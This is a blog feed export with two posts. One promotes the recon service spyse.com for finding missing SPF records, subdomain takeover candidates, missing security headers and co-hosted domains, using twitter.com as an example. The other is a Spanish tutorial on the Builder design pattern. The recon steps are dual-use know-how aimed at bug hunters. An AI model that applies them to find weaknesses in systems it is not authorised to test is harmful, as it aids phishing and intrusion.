tag:blogger.com,1999:blog-25869198844082117232024-03-14T10:58:05.177-07:00Arthusu BLOGArthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.comBlogger196125tag:blogger.com,1999:blog-2586919884408211723.post-66117117618986252422020-04-10T18:57:00.001-07:002020-04-10T18:57:10.797-07:00Spyse Recognition - Cybersecurity Tool<span style="font-family: Courier New, Courier, monospace;">Today there are many recognition tools, but let me introduce one that I use today to discover some types of attacks that I will discuss below.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: lime; font-family: Courier New, Courier, monospace; font-size: large;"><b>Information about a domain</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">There are many vulnerabilities and techniques about a domain and I will show you below:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>1.-</b> Enter <a href="https://spyse.com/user/registration">https://spyse.com/user/registration</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>2.-</b> Create an account and log in</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: lime; font-family: Courier New, Courier, monospace;"><b>SPF not established</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Sample report: <a href="https://hackerone.com/reports/120">https://hackerone.com/reports/120</a></span><br />
<span style="font-family: Courier New, Courier, monospace;">With spyse.com this type of attack is easily detectable only by performing the steps below:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>1.-</b> Enter spyse.com with your valid credentials</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>2.-</b> Enter the domain you want to verify, example: twitter.com</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFX9NWw4AKVaruFFIZ7ShP8ceLB_wBo3N5fSc0xYXgL5LAO0rmvKFrhzplkinZ1AAUb0h08i412Si2Ve1CSSa3hHYEDsQXTBGrkoCEbqcv5fDRB76g0_PHYVkM_NMVr0rpii-uUON6lpIH/s1600/paso1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="571" data-original-width="1514" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFX9NWw4AKVaruFFIZ7ShP8ceLB_wBo3N5fSc0xYXgL5LAO0rmvKFrhzplkinZ1AAUb0h08i412Si2Ve1CSSa3hHYEDsQXTBGrkoCEbqcv5fDRB76g0_PHYVkM_NMVr0rpii-uUON6lpIH/s400/paso1.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>3.-</b> Now go to the navigation where it says TXT records if it shows nothing it is vulnerable</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzIVgBe7Sp518G3l-De0xy1CC104bRFLvsq_bzYwM7BjcYgsxPVcO4ltIi7kbddfFtnyAeqD770331OFYGu5YiClBwAajhWDHZ-NvDQ7xws6x9-D91pvGRfcPVERFPM1rCKkEzzY_qYl23/s1600/paso2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="805" data-original-width="1600" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzIVgBe7Sp518G3l-De0xy1CC104bRFLvsq_bzYwM7BjcYgsxPVcO4ltIi7kbddfFtnyAeqD770331OFYGu5YiClBwAajhWDHZ-NvDQ7xws6x9-D91pvGRfcPVERFPM1rCKkEzzY_qYl23/s320/paso2.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><b>Note:</b> in this case twitter includes your spf record: <i>v= spf1 ip4: 199.16.156.0/22 ...</i></span></blockquote>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">In simple steps you can recognize this vulnerability with which an attacker can perform phishing and that emails reach their inbox.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: lime; font-family: Courier New, Courier, monospace;"><b>List subdomains in search of Subdomain Takeover</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">report example: <a href="https://hackerone.com/reports/661751">https://hackerone.com/reports/661751</a></span><br />
<span style="font-family: Courier New, Courier, monospace;">With spyse.com this type of attack is easily detectable, we only carry out the following steps:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>1.-</b> Enter spyse.com with your valid credentials</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>2.-</b> Enter the domain you want to verify, example: twitter.com</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMPUGWNkFB3ANv8yaV5-2r1h4ZbdDFm1JY6mRNrhpK2CTwpQDikt07G2QrQNqquY0xedNsgr8lBDHyvakDffsWSwjy2RXQd_xwAex6ww2rsgixMuYlhvWWdRodR4J-pXeQTy4zI0RhlbCk/s1600/paso1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="571" data-original-width="1514" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMPUGWNkFB3ANv8yaV5-2r1h4ZbdDFm1JY6mRNrhpK2CTwpQDikt07G2QrQNqquY0xedNsgr8lBDHyvakDffsWSwjy2RXQd_xwAex6ww2rsgixMuYlhvWWdRodR4J-pXeQTy4zI0RhlbCk/s400/paso1.jpg" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>3.-</b> in the navigation bar click subdomain list</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJRvDeTk7NGY2uj-lfP-h8yk4rvByFdyx0WtMg0bkmBALJQ2usl7BU4GalhkzCvbyIkHjK94ZY-_-VxiRnEiFCKPaLgRDW51Mmw_Zw3yU2GPUzJqGOnekH5BBzeBVTl7boXO4H4horsL3R/s1600/paso2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="690" data-original-width="1600" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJRvDeTk7NGY2uj-lfP-h8yk4rvByFdyx0WtMg0bkmBALJQ2usl7BU4GalhkzCvbyIkHjK94ZY-_-VxiRnEiFCKPaLgRDW51Mmw_Zw3yU2GPUzJqGOnekH5BBzeBVTl7boXO4H4horsL3R/s640/paso2.jpg" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>4.-</b> check the cname of each site</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>5.-</b> enter each site and if it responds incorrectly and has a cname associated it may be a possible takeover subdomain</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>6.-</b> You can consult a list of services that allow this attack: <a href="https://github.com/EdOverflow/can-i-take-over-xyz">https://github.com/EdOverflow/can-i-take-over-xyz</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">So with spyse we can see the subdomains and find subdomain takeover. In this case of twitter there is none.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: lime; font-family: Courier New, Courier, monospace;"><b>Missing security headers</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Missing security headings can lead to higher risks sometimes they are reported, some sample reports can be found here:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><a href="https://hackerone.com/reports/64645">https://hackerone.com/reports/64645</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://hackerone.com/reports/163676">https://hackerone.com/reports/163676</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://hackerone.com/reports/17239">https://hackerone.com/reports/17239</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="https://hackerone.com/reports/231805">https://hackerone.com/reports/231805</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">To review these settings it is possible to use spyse.com by performing the following steps:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>1.-</b> Enter spyse.com with your valid credentials</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>2.-</b> Enter the domain you want to verify, example: twitter.com</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu4kFjqB5V9UVgE_nAvywqqE1HIfdZSt0BnyYt43z5dNbBI_TozKXdngYBDVScDr5qOpmKGZeh_TegsleSeybtSgSpUFPstZJFbtJPidUfAegwst362FbLTUM87y8W_LMmCr3ZSHPb3pGd/s1600/paso1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="571" data-original-width="1514" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu4kFjqB5V9UVgE_nAvywqqE1HIfdZSt0BnyYt43z5dNbBI_TozKXdngYBDVScDr5qOpmKGZeh_TegsleSeybtSgSpUFPstZJFbtJPidUfAegwst362FbLTUM87y8W_LMmCr3ZSHPb3pGd/s400/paso1.jpg" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>3.-</b> In the navigation bar click on common info</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOblGcNLn2I6mbPmmrt1jgZTksRQR5htKmvWqmZBZg0N4-StFNRvqNZ8PtcULPChOvdDSFzTZ0noYdDRdA4n2vypEmhCX8EukAhyODNZkIOvTeNChIyl5pwCvlrugL01OZPQkRwyK3Lg5A/s1600/paso2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="904" data-original-width="1012" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOblGcNLn2I6mbPmmrt1jgZTksRQR5htKmvWqmZBZg0N4-StFNRvqNZ8PtcULPChOvdDSFzTZ0noYdDRdA4n2vypEmhCX8EukAhyODNZkIOvTeNChIyl5pwCvlrugL01OZPQkRwyK3Lg5A/s320/paso2.jpg" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>4.-</b> click on headers</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>5.-</b> Check that there is no need for a security heading such as the one in the example reports:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<br />
<ul>
<li><span style="font-family: Courier New, Courier, monospace;">X-Frame-Options</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">Content-Security-Policy</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">Strict-Transport-Security</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">Cache-Control</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">Pragma</span></li>
</ul>
<br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">if one is missing it is vulnerable. Although this is a practical improvement so that they cannot reach attacks on the browser side, it is useful to implement security on them.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span>
<span style="color: lime; font-family: Courier New, Courier, monospace;"><b>Detect domains or subdomains with the same IP (within the same server)</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Many times the main applications are not vulnerable to some type of common attack such as: XSS, SQLi, IDOR, RCE, etc.</span><br />
<span style="font-family: Courier New, Courier, monospace;">This does not mean that privileges cannot be elevated on the server using a subdomain or domain within the same server, gaining access to the main website. It is also possible to find the real IP of the server if it uses any WAF to avoid it.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Sample report: <a href="https://hackerone.com/reports/315838">https://hackerone.com/reports/315838</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">For this it is possible to detect with spyse which domains or subdomains are within the same server. Take the steps below to detect them:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>1.-</b> Enter spyse.com with your valid credentials</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>2.-</b> Enter the domain you want to verify, example: twitter.com</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg56mMyagaV2UL53E5ne8NZRiOdptouKj-pAOM4FZca-5jTmOeo8b1ZsgO3HwhOxr_FFc3LiO0UcrV4A_9pqnFKNmiNJeCpdMr_cjGAghQ2pLrvIMd93YJPVI8BUNMfcQGSAR-elAm8lOnC/s1600/paso1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="571" data-original-width="1514" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg56mMyagaV2UL53E5ne8NZRiOdptouKj-pAOM4FZca-5jTmOeo8b1ZsgO3HwhOxr_FFc3LiO0UcrV4A_9pqnFKNmiNJeCpdMr_cjGAghQ2pLrvIMd93YJPVI8BUNMfcQGSAR-elAm8lOnC/s400/paso1.jpg" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>3.-</b> In the navigation bar click on Domains in same IP</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_y6GLH_IfmT_Kobsb5ofmxivtgp-00RXYdW6RGCAovC8iQTnnnZnPux0AH7yqSpIlX29MjSGw3eYbs2SXzkXr6tYjfz9CVbXbj3mmfQgl7csmmJBmuCiklOqQLMbptyD7WQEXuN_oUiIl/s1600/paso2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="833" data-original-width="1600" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_y6GLH_IfmT_Kobsb5ofmxivtgp-00RXYdW6RGCAovC8iQTnnnZnPux0AH7yqSpIlX29MjSGw3eYbs2SXzkXr6tYjfz9CVbXbj3mmfQgl7csmmJBmuCiklOqQLMbptyD7WQEXuN_oUiIl/s320/paso2.jpg" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>4.-</b> Find if it is possible to find vulnerabilities in this Host or if it finds the real IP of the host in the DNS that points to A</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: lime; font-family: Courier New, Courier, monospace;"><b>Vulnerability counter</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Depending on the technologies used, it is possible to detect if the host has vulnerabilities and depending on it it shows you the criticality.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">To test this on spyse.com just follow the steps below:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>1.- </b>Enter spyse.com with your valid credentials</span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>2.-</b> Enter the domain you want to verify, example: testphp.vulnweb.com</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTknLP-Rd98NhQR1h2M5ZJrhUYLq70AbS0IbbvzX6nrRaxVxUAy_GgzFdAFEA9jlNPyFEdq4uDOin6rW5L2y-bg0GQYxFpcs5545NMqWuwZ19AC43NXut6ENfqBfY8KjiYCL_q48PVVwDh/s1600/paso1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="579" data-original-width="1478" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTknLP-Rd98NhQR1h2M5ZJrhUYLq70AbS0IbbvzX6nrRaxVxUAy_GgzFdAFEA9jlNPyFEdq4uDOin6rW5L2y-bg0GQYxFpcs5545NMqWuwZ19AC43NXut6ENfqBfY8KjiYCL_q48PVVwDh/s400/paso1.jpg" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>3.-</b> Check the vulnerability counter.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5_uTcdpkbH50IsTluLGPWl7jK4zwYELc2MvFhnUqDOIHhic0Gd-XD5xnFDog-ytQ0YZtSTResFPZZ3txCGvVyWAgxbXAXjdqhbn55ZUU3lrqNP80BsGp6gZuA2_qxvynek-CfOIXFZHh/s1600/paso2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="274" data-original-width="810" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5_uTcdpkbH50IsTluLGPWl7jK4zwYELc2MvFhnUqDOIHhic0Gd-XD5xnFDog-ytQ0YZtSTResFPZZ3txCGvVyWAgxbXAXjdqhbn55ZUU3lrqNP80BsGp6gZuA2_qxvynek-CfOIXFZHh/s400/paso2.jpg" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Lastly, that is not all you can do with spyse, you can also find information such as: the <i>robots.txt</i> file which contains important information such as <i>links</i> or hidden features, there is also a links section to see indexed links, and you can see <i>ASN </i>or <i>Organizations </i>listing different servers from the same organization which widens the scope for an ethical hacker.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Also if you are one of those who like captures for each subdomain with spyse it is possible to automate this and more using the API.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">And if it were not all it includes an API with which you could automate this whole process from your server by running a cronjob in search of information or automated recognition with spyse.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">An example of using the api can be the following:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">curl -X GET "https://api.spyse.com/v2/data/domain?limit=100&name=twitter.com" -H "accept: application / json" -H "Authorization: Bearer xxx-xxx-xxx- xxx-xxxx "| jq</span></blockquote>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKHYGIvvJLSB9fxZaF6oQP4D2uv1UwxXOYuf4aFt820lsESAcSThcWIkgCuStun00HcRPwZJXecoLsgV6xS1zVFQEuRhAuXYPQjfeOTWabXQd6oDJDv6z3xIVFlTVsKLAJoIRwRBJYCLpW/s1600/api1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="799" data-original-width="1600" height="159" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKHYGIvvJLSB9fxZaF6oQP4D2uv1UwxXOYuf4aFt820lsESAcSThcWIkgCuStun00HcRPwZJXecoLsgV6xS1zVFQEuRhAuXYPQjfeOTWabXQd6oDJDv6z3xIVFlTVsKLAJoIRwRBJYCLpW/s320/api1.jpg" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">parsing this information can be very useful for automated collection.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">Without further ado I recommend registering and buying a subscription on spyse.com (<a href="https://spyse.com/user/subscription">https://spyse.com/user/subscription</a></span><span style="font-family: "Courier New", Courier, monospace;">) with which security consultants, security companies or bug hunters could take full advantage.</span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com2tag:blogger.com,1999:blog-2586919884408211723.post-49404556149674562182019-10-29T22:21:00.002-07:002019-10-29T22:23:51.071-07:00<span style="font-size: x-large;"><b>Patron de diseño Builder - parte 2 </b></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">Si te has perdido la parte 1. <span style="font-size: large;"><a href="https://arthusu.blogspot.com/2019/10/patron-de-diseno-builder-parte-1-el.html">ver parte 1</a></span></span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">En esta parte veremos 2 formas de usar el patron Builder.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">Tenemos que generar un objeto helado:</span></span><br />
<br />
<b><span style="font-size: large;">Opcion 1:</span></b><br />
<span style="font-size: x-large;"><span style="font-size: small;"> Usaremos la opción más fiel al diagrama UML del patron Builder.</span></span><br />
<br />
<span style="font-size: x-large;"><span style="font-size: small;"><b>CopaHelado: </b>es el producto que se quiere obtener:</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM47xGEw_r-NJt3Ja1r8wzHS7cVmT7vqT-maFe5Phib9mzpSgdjXwtZNTavyVqEkKOgwGKGgk6qryFPT8yZ4PdYoyljz-rAjGAFxObEhnO93793F4tvoV9d8m56mU0Q83l5ZFVVf1p91o/s1600/g7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="362" data-original-width="421" height="550" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM47xGEw_r-NJt3Ja1r8wzHS7cVmT7vqT-maFe5Phib9mzpSgdjXwtZNTavyVqEkKOgwGKGgk6qryFPT8yZ4PdYoyljz-rAjGAFxObEhnO93793F4tvoV9d8m56mU0Q83l5ZFVVf1p91o/s640/g7.png" width="640" /> </a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXYHd1_dFC1PDJpqwlHPj_Dyy4PQnM62enuz1xQuETSq2RltGwzTROggsNPmLZTClee62-XSoc5o75K80-ofPmJytpnIvmIEWEedbkrJC_x_WsTvAnH49Lu4ZpVaCD5mV7zxVJ4ek4-ts/s1600/g8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="389" data-original-width="445" height="558" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXYHd1_dFC1PDJpqwlHPj_Dyy4PQnM62enuz1xQuETSq2RltGwzTROggsNPmLZTClee62-XSoc5o75K80-ofPmJytpnIvmIEWEedbkrJC_x_WsTvAnH49Lu4ZpVaCD5mV7zxVJ4ek4-ts/s640/g8.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<span style="font-size: x-large;"><span style="font-size: small;"> <b>AbstractBuilder:</b> Es una clase abstracta que debe contener:</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">-Metodo para crear un objeto de la clase CopaHelado.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">-Metodo para obtener el objeto creado.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">-Metodos abstractos para personalizar la creacion del objeto.</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-large;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3Cc1D_9Ivd8-2Q2dbLFPHq3q4k0TF6lb6bDNBQ7oaG_dKsGjxxXlvw9j1fwa4hlw-k01oirmkb1XwaoD2IH6_QpcgHoJ17v5vmHxT7Tf0LCmBshP_0TGhe5lBbzwJUEYhflyaoVlv3e4/s1600/g9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="241" data-original-width="350" height="440" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3Cc1D_9Ivd8-2Q2dbLFPHq3q4k0TF6lb6bDNBQ7oaG_dKsGjxxXlvw9j1fwa4hlw-k01oirmkb1XwaoD2IH6_QpcgHoJ17v5vmHxT7Tf0LCmBshP_0TGhe5lBbzwJUEYhflyaoVlv3e4/s640/g9.png" width="640" /> </a> </span></span></div>
<br />
<span style="font-size: x-large;"><span style="font-size: small;"><b>CombinacionUno:</b> es un ConcreteBuilder que servirá para personalizar la creacion del objeto.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"> Hereda del AbstractBuider y reescribe los metodos para personalizar el objeto Helado.</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcmvu2Tz8wp1iE5Leo5tWUOHJJl32FBugwaxYWdadejTjdcVgtsItWBL0jMwn0gzS7xwv4WKbxbJCOdn8RXsabrlsnDRngmZbKl3Dlu6g8Ps_N08Klx-N6BT_2nsa5zE9fGKwtm19mlbM/s1600/g10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="447" height="408" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcmvu2Tz8wp1iE5Leo5tWUOHJJl32FBugwaxYWdadejTjdcVgtsItWBL0jMwn0gzS7xwv4WKbxbJCOdn8RXsabrlsnDRngmZbKl3Dlu6g8Ps_N08Klx-N6BT_2nsa5zE9fGKwtm19mlbM/s640/g10.png" width="640" /></a></div>
<br />
<span style="font-size: x-large;"><span style="font-size: small;"><b>CombinacionDos:</b> es un ConcreteBuilder que tambien personaliza el objeto que se quiere crear.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"> Hereda del AbstractBuider y reescribe los metodos para personalizar el objeto Helado.</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgII5dcMjUkkMgWJMTENqzjOl-wWqeAAfSS0z7hZbM7QsUh6ltUVSoXtCfhThHGATnFnW2wqkIHo8A7fR7mWPIGRWNBjH5lz1FMJU2_xWBJWYT2YDrsPjd8IWVrTXlIEhVQDK3ECbb5INc/s1600/g11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="292" data-original-width="393" height="474" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgII5dcMjUkkMgWJMTENqzjOl-wWqeAAfSS0z7hZbM7QsUh6ltUVSoXtCfhThHGATnFnW2wqkIHo8A7fR7mWPIGRWNBjH5lz1FMJU2_xWBJWYT2YDrsPjd8IWVrTXlIEhVQDK3ECbb5INc/s640/g11.png" width="640" /> </a> </div>
<span style="font-size: x-large;"><span style="font-size: small;"> <b>Director:</b> es quien se encarga de preparar el objeto helado (final).</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"> Setea el ConcreteBuilder en el AbstractBuilder </span></span><span style="font-size: x-large;"><span style="font-size: small;"><span style="font-size: x-large;"><span style="font-size: small;">para reescribir sus metodos</span></span>.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"> Es controlado desde la clase principal (Main)</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;"> Tambien es el encargado de llamar a los metodos necesarios para crear el helado.</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkAPUp-Q3NsCnSnsapeqlHfVR4SlIwDg8UqSZIYEvm8KTYO7HKeU9tmt11rY8r48efyzS4UcBP4OZqm6u0ykF7u6ok_WrNCd0MotUemAitb59tNFt0IcWIDPqvLCT9jTivVdy1dhSfrvs/s1600/g12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="287" data-original-width="470" height="390" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkAPUp-Q3NsCnSnsapeqlHfVR4SlIwDg8UqSZIYEvm8KTYO7HKeU9tmt11rY8r48efyzS4UcBP4OZqm6u0ykF7u6ok_WrNCd0MotUemAitb59tNFt0IcWIDPqvLCT9jTivVdy1dhSfrvs/s640/g12.png" width="640" /></a> </div>
<span style="font-size: x-large;"><span style="font-size: small;"><b>Main: </b>aquí se maneja a la clase director enviado el ConcreteBuilder que se establecera en el AbstractBuilder.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">Tambien se crean 2 objetos helados de diferente sabor (usando ambos concretebuilder).</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
